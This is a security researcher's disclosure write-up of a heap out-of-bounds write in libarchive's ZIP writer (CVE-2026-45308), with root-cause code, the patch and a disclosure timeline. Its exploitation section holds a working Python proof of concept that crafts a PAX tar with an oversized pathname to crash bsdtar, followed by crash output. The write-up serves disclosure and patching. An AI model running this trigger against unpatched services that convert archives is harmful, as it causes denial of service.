Skip to content

CVE-2026-45308: libarchive ZIP Writer Heap Out-of-Bounds Write

TL;DR

  • I found a heap out-of-bounds write in libarchive's ZIP writer, reachable whenever an application re-packs an attacker-supplied archive as ZIP.
  • PAX tar carries pathnames of any length and ZIP cannot, so bsdtar --format=zip -cf out.zip @evil.tar walks one straight into the writer.
  • cd_alloc always hands back a fixed 64 KiB segment, and nothing checks the pathname length against it before the copy.
  • ZIP's name field is 16 bits, so 65535 is the longest name a valid archive can describe. Nothing enforced that, and at 65537 the copy runs off the end.
  • Affects libarchive >= 3.2.0, <= 3.8.7, fixed in 3.8.8 (CVE-2026-45308, GHSA-xgqq-r5j8-3mch).

Summary

libarchive's ZIP writer was vulnerable to a heap out-of-bounds write because it copied an entry pathname longer than 65535 bytes into a fixed 64 KiB central-directory buffer without ever checking the name against the ZIP format's 16-bit length limit.

  • CVE: CVE-2026-45308
  • Product: libarchive (cross-platform multi-format archive library)
  • Vulnerability: Heap-Based Out-of-Bounds Write via Oversized Pathname
  • Affected Versions: >= 3.2.0, <= 3.8.7
  • Fixed In: 3.8.8
  • CVSS Severity: 5.5 (medium, researcher assessment)
  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
  • Advisory CVSS: 0.0 (labelled low)
  • Required Privilege: None
  • Advisory: GHSA-xgqq-r5j8-3mch
  • Reported: April 25, 2026
  • GHSA Published: August 25, 2026

Introduction

[A]I was reading through libarchive's ZIP writer, specifically the code that assembles the central directory. It builds that in fixed 64 KiB blocks and hands out slices of them. Most of what it gets asked for is small and decided by the writer. The entry pathname comes from whatever file is being read.

bsdtar makes the path easy to exercise because libarchive can read one archive format and write another.

Root Cause Analysis

The Pathname Becomes a Length

The ZIP header writer is archive_write_zip_header. It turns the entry pathname into a byte count, then asks the central-directory allocator for exactly that many bytes.

// libarchive/archive_write_set_format_zip.c
filename_length = path_length(zip->entry); // [1] Pathname length.

// ... compression selection and local-header formatting omitted ...

archive_le16enc(zip->file_header + 28, (uint16_t)filename_length); // [2] Cast to the 16-bit field.
e = cd_alloc(zip, filename_length); // [3] Same length, uncast.
/* If (e == NULL) XXXX */
copy_path(zip->entry, e); // [4] Whole name copied in.

path_length() at [1] returns strlen of the name for a regular file, and that value then goes two separate ways. Cast down to uint16_t at [2], it becomes the central-directory name field, which ZIP only gives 16 bits. Uncast at [3], it becomes a byte count handed to cd_alloc, and copy_path writes that many bytes at [4].

Fixed-Size Central-Directory Segments

The central directory, the index at the end of a ZIP that lists every entry, is built as a linked list of buffer segments, and cd_alloc hands out bytes from the current one.

// libarchive/archive_write_set_format_zip.c
static unsigned char *
cd_alloc(struct zip *zip, size_t length)
{
    unsigned char *p;

    if (zip->central_directory == NULL
        || (zip->central_directory_last->p + length
        > zip->central_directory_last->buff + zip->central_directory_last->buff_size)) { // [5] Only grows when full.
        struct cd_segment *segment = calloc(1, sizeof(*segment));
        // ... allocation-failure check omitted ...
        segment->buff_size = 64 * 1024; // [6] Always exactly 64 KiB.
        segment->buff = malloc(segment->buff_size);
        // ... allocation-failure check omitted ...
        segment->p = segment->buff;

        // ... new segment linked into the central-directory list ...
    }

    p = zip->central_directory_last->p;
    zip->central_directory_last->p += length; // [7] Bumped by length, unchecked.
    zip->central_directory_bytes += length;
    return (p);
}

cd_alloc checks at [5] whether the current segment has enough room and creates another 64 KiB segment at [6] if not. It then returns the write pointer and advances it by length at [7], even when length is larger than a fresh segment.

Nothing downstream catches it either. copy_path takes that pointer and memcpys the full name into it, with no buffer-size argument to check the write against.

For every other caller the fixed size was enough. The header is 46 bytes (line 1171) and the per-entry extra fields are a few more. The cd_alloc call for the pathname is the only one whose size scales with attacker-supplied input.

The 2013 Rewrite

The buffered central directory arrived in a single commit, fc6df8f, a 2013 rewrite of the Zip writer that added cd_alloc, the fixed segment and copy_path together. It replaced a write_path helper that streamed the pathname straight to the output with no intermediate buffer, so there was nothing to overflow. That rewrite first shipped in 3.2.0, which is why the affected range starts there rather than at the bare upper bound the advisory records.

Where the Boundary Falls

The ZIP name field can express at most 65535 bytes, while each central-directory segment holds 65536.

At exactly 65536 bytes, the memcpy fills the segment without overflowing it, but the stored length wraps to 0. At 65537, the copy writes past the segment.

Impact

The bytes that land past the segment are the pathname, so an attacker picks them. That's as far as I took it. The reliable result is a process abort, and for anything converting untrusted archives to ZIP that's a denial of service on its own. Whether the controlled write is worth more than that depends on the allocator and on whatever happens to sit after the segment.

The advisory records 0.0 while labelling the issue Low. I can't remember whether I supplied that vector, and it isn't in my report notes, so I can't say where it came from. Either way, A:N doesn't fit the repeatable process abort below.

I've scored the path demonstrated here 5.5 Medium. A user has to start the conversion, but one oversized pathname then aborts the process without privileges or special conditions. I didn't demonstrate any confidentiality or integrity impact. An automatic network converter could score 7.5, but I haven't demonstrated that deployment here.

Exploitation

Preconditions

  • An application uses libarchive to write ZIP output, directly or via bsdtar --format=zip.
  • The entry pathname is attacker-influenced and can exceed 65536 bytes. The simplest source is an attacker-supplied input archive that the application re-packs as ZIP.
  • libarchive between 3.2.0 and 3.8.7.

Reaching the ZIP Writer

bsdtar ships with libarchive, and its @archive syntax reads entries out of an existing archive and re-packs them into the output.

bsdtar --format=zip -cf out.zip @evil.tar

libarchive's tar reader accepts PAX extended pathnames, which are not bound by the old 100-byte ustar name field and can be arbitrarily long. So a crafted PAX tar can carry a pathname well over 65536 bytes, and when bsdtar writes each entry back out as ZIP that pathname lands in archive_write_zip_header and flows to cd_alloc and copy_path.

PoC

The PoC builds a PAX tar with a single entry whose pathname is 131072 bytes, then runs bsdtar to convert it to ZIP.

#!/usr/bin/env python3
"""Minimal repro for the libarchive ZIP pathname OOB write."""
import io
import subprocess
import tarfile

PATH_LEN = 131072
BSDTAR = "bsdtar"  # point this at an ASAN build to see the overflow


def craft_pax_tar(path_len: int) -> bytes:
    """Build a PAX tar with one entry whose pathname is path_len bytes long."""
    inner = "a" * (path_len - len("d/") - 1) + "b"
    pathname = "d/" + inner

    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode="w", format=tarfile.PAX_FORMAT) as tf:
        info = tarfile.TarInfo(name=pathname)
        content = b"trigger\n"
        info.size = len(content)
        info.mode = 0o644
        tf.addfile(info, io.BytesIO(content))
    return buf.getvalue()


def main() -> None:
    with open("oob.tar", "wb") as f:
        f.write(craft_pax_tar(PATH_LEN))

    # @oob.tar makes bsdtar read entries from the tar and re-pack them as ZIP,
    # carrying the oversized PAX pathname straight into the ZIP writer.
    result = subprocess.run(
        [BSDTAR, "--format=zip", "-cf", "oob.zip", "@oob.tar"],
        capture_output=True,
    )
    print("return code:", result.returncode)
    print(result.stderr.decode(errors="replace")[:400])


if __name__ == "__main__":
    main()

Run it with BSDTAR pointed at an AddressSanitizer build:

python3 cve-2026-45308.py

Demo

Against an ASAN build of bsdtar, the crafted tar trips the overflow as soon as copy_path runs.

==2025920==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 131072 at 0x53100004c800 thread T0
    #0 0x... in memcpy
    #1 0x... in copy_path

Frames and addresses trimmed, then SIGABRT and return code -6.

I also called the public ZIP writer API directly against Debian's normal libarchive 3.7.4-4+deb13u1 package, with no sanitizer. The crash happens before archive_write_header() returns.

Pathname LengthResult
65544archive_write_header() returned ARCHIVE_OK
65545glibc sysmalloc assertion, exit 134
70000malloc(): corrupted top size, exit 134
131072malloc(): corrupted top size, exit 134

Each crashing length aborted on all ten runs. The 65545 threshold comes from glibc's allocation padding, not the vulnerable code. ASAN still catches 65537 as the first out-of-bounds write.

Patch Diffing

The fix in PR #2993 is a single guard, added right after the pathname length is computed.

// libarchive/archive_write_set_format_zip.c (archive_write_zip_header)
    }
 }
 filename_length = path_length(zip->entry);
+if (filename_length > 0xffff) {
+   archive_set_error(&a->archive, ENAMETOOLONG,
+       "Pathname too long for ZIP format");
+   return (ARCHIVE_FAILED);
+}

 /* Determine appropriate compression and size for this entry. */
 if (type == AE_IFLNK) {

The writer now rejects every pathname that the 16-bit field cannot represent before allocating central-directory space. This prevents both the truncated length and the oversized copy. cd_alloc and copy_path are unchanged.

The accompanying test_write_format_zip_long_pathname.c covers the maximum valid pathname and oversized inputs.

The change landed on master on May 3, 2026 as commit a20f89e, and shipped in 3.8.8 on June 23, 2026.

Remediation

Update libarchive to 3.8.8 or later. The current release is 3.8.9.

If you cannot update, reject pathnames over 65535 bytes before handing entries to the ZIP writer.

Disclosure Timeline

  • April 25, 2026: Reported privately to the libarchive maintainers through a GitHub Security Advisory (GHSA-xgqq-r5j8-3mch) with a PoC.
  • May 3, 2026: Maintainer proposed the fix in PR #2993, which addressed the root cause, and it was merged the same day.
  • May 5, 2026: Report accepted by the maintainers.
  • May 11, 2026: CVE-2026-45308 assigned through GitHub.
  • June 23, 2026: Fix shipped in libarchive 3.8.8.
  • August 25, 2026: GHSA-xgqq-r5j8-3mch published.

Conclusion

Converting between archive formats means trusting one format's limits to satisfy another's, and ZIP's 16-bit name field is smaller than what tar and PAX will happily carry.

References